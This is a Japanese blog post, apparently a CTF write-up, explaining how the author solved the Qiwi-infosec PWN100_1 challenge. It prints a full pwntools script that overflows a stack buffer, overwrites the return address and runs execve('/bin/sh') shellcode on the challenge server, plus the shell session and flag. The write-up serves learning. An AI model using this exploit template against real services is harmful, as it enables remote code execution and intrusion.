読者です 読者をやめる 読者になる 読者になる

楽しいセキュリティ

CTFやPythonなどについて勉強したことを書きます。

Qiwi-infosec CTF PWN100_1 WireUP

はじめに

11月17日に参加したQiwi-infosec CTFの問題のWriteUP書きたいと思います。

チャレンジした問題

 PWN100_1:バッファオーバーフロー攻撃を使ってシェルコードを実行する。
 PWM100_2:FormatString攻撃を使うことまでは分かったが解けなかった。

WriteUP PWN100_1

ncコマンドで138.201.98.42のポート4000にアクセスし、文字入力を求められます。試しに、AA・・を入力すると以下のような出力が得られます。

$nc 138.201.98.42 4000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Trace stack:
0xffffd084: 0x000000b4 
0xffffd080: 0xffffd09c 
0xffffd07c: 0x56555809 <= ret
0xffffd078: 0xffffd158 
0xffffd074: 0x56557000
0xffffd070: 0x00000000
0xffffd06c: 0x00000009
0xffffd068: 0xffffd09c
0xffffd064: 0xf7ff0fe0
0xffffd060: 0xffffd158
0xffffd05c: 0xf7e24940
0xffffd058: 0x00000000
0xffffd054: 0x56557000
0xffffd050: 0x00000001
0xffffd04c: 0x0000000a
0xffffd048: 0x000000b3
0xffffd044: 0xffffd09c
0xffffd040: 0xf7fcec20
0xffffd03c: 0xf7e88351
0xffffd038: 0xf7e28ec8
0xffffd034: 0x56555200
0xffffd030: 0x565552b0
0xffffd02c: 0x56557010
0xffffd028: 0xffffd044
0xffffd024: 0x00000000
0xffffd020: 0x00000001
0xffffd01c: 0x0000000a
0xffffd018: 0x000000b3
0xffffd014: 0xffffd09c
0xffffd010: 0xf7fcec20
0xffffd00c: 0xf7e8000a
0xffffd008: 0x41414141
0xffffd004: 0x41414141
0xffffd000: 0x41414141
0xffffcffc: 0x41414141
0xffffcff8: 0x41414141
0xffffcff4: 0x41414141
0xffffcff0: 0x41414141
0xffffcfec: 0x41414141 you buffer

出力のyou bufferが入力した文字を格納した場所で、retが関数の戻りアドレスを格納した場所と思われます。そして、一番左の列は、格納してあるメモリのアドレスが書かれています。戻りアドレスには次に実行するメモリのアドレスが入っているので、このアドレスを入力した文字で上書きしyou bufferのアドレス(0xffffcfec)に飛ばして、あらかじめ入力文字の中に入れておいたシェルコードを実行させます。

なお、サーバ上のメモリを上書きする際は、コマンドラインで直接入力できない(アスキーコードになってしまうため)ので、pythonのpwntoolsライブラリを利用してプログラムを作成しました。

from pwn import *
import time

r = remote('138.201.98.42', 4000)

#return address ffffcffc
ret = '\xfc\xcf\xff\xff'

shellcode = '\x68\xcd\x80\x68\x68\xeb\xfc\x68\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xeb\xe1'

exploit_code = shellcode + ('A'*(144 - len(shellcode)))  + ret + '\n'

r.send(exploit_code)

time.sleep(1)

r.interactive()

プログラムを実行すると、サーバ側でシェルが立ち上がりました。そして、カレントディレクトリにflagというファイルがあったので、catコマンドで中身を表示させるとflagを取得できました。

$python PWN100_1.py 
[+] Opening connection to 138.201.98.42 on port 4000: Done
[*] Switching to interactive mode
Trace stack:
0xffffd094: 0x000000b4 
0xffffd090: 0xffff000a 
0xffffd08c: 0xffffcffc <= ret
0xffffd088: 0x41414141 
0xffffd084: 0x41414141
0xffffd080: 0x41414141
0xffffd07c: 0x41414141
0xffffd078: 0x41414141
0xffffd074: 0x41414141
0xffffd070: 0x41414141
0xffffd06c: 0x41414141
0xffffd068: 0x41414141
0xffffd064: 0x41414141
0xffffd060: 0x41414141
0xffffd05c: 0x41414141
0xffffd058: 0x41414141
0xffffd054: 0x41414141
0xffffd050: 0x41414141
0xffffd04c: 0x41414141
0xffffd048: 0x41414141
0xffffd044: 0x41414141
0xffffd040: 0x41414141
0xffffd03c: 0x41414141
0xffffd038: 0x41414141
0xffffd034: 0x41414141
0xffffd030: 0x41414141
0xffffd02c: 0x41414141
0xffffd028: 0x41414141
0xffffd024: 0x41414141
0xffffd020: 0x41414141
0xffffd01c: 0x41414141
0xffffd018: 0xe1ebe189
0xffffd014: 0x5352e389
0xffffd010: 0x6e69622f
0xffffd00c: 0x6868732f
0xffffd008: 0x2f6852d2
0xffffd004: 0x31580b6a
0xffffd000: 0x68fceb68
0xffffcffc: 0x6880cd68 you buffer
$ $ ls
expl100  flag  run
$ $ cat flag
flag:{Xp2dyM3RO89BuaO}

感想

CTFを初めて約2年が経過し、やっとPanableジャンルの問題をとけるようになってきました。しかし、まだ簡単なExploitしかできないので、まずはSECCON2016までに他のExplitのやり方も練習してブログに書ければと思います。